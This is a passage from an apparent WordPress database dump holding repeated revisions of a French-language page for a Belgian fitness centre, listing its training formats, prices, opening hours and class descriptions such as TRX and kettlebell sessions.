permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:21', '2013-06-16 14:26:21', '', 11, 'http://www.crosstrainingcenter.be/?p=119', 0, 'revision', '', 0),
(120, 1, '2013-06-16 14:26:44', '2013-06-16 14:26:44', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:44', '2013-06-16 14:26:44', '', 11, 'http://www.crosstrainingcenter.be/?p=120', 0, 'revision', '', 0),
(121, 1, '2013-06-16 14:27:41', '2013-06-16 14:27:41', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:41', '2013-06-16 14:27:41', '', 11, 'http://www.crosstrainingcenter.be/?p=121', 0, 'revision', '', 0),
(122, 1, '2013-06-16 14:27:58', '2013-06-16 14:27:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:58', '2013-06-16 14:27:58', '', 11, 'http://www.crosstrainingcenter.be/?p=122', 0, 'revision', '', 0),
(123, 1, '2013-06-16 14:28:10', '2013-06-16 14:28:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:28:10', '2013-06-16 14:28:10', '', 11, 'http://www.crosstrainingcenter.be/?p=123', 0, 'revision', '', 0),
(219, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-2', '', '', '2013-07-03 18:25:11', '2013-07-03 18:25:11', '', 214, 'http://www.crosstrainingcenter.be/?p=219', 0, 'revision', '', 0),
(124, 1, '2013-06-16 14:33:05', '2013-06-16 14:33:05', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; 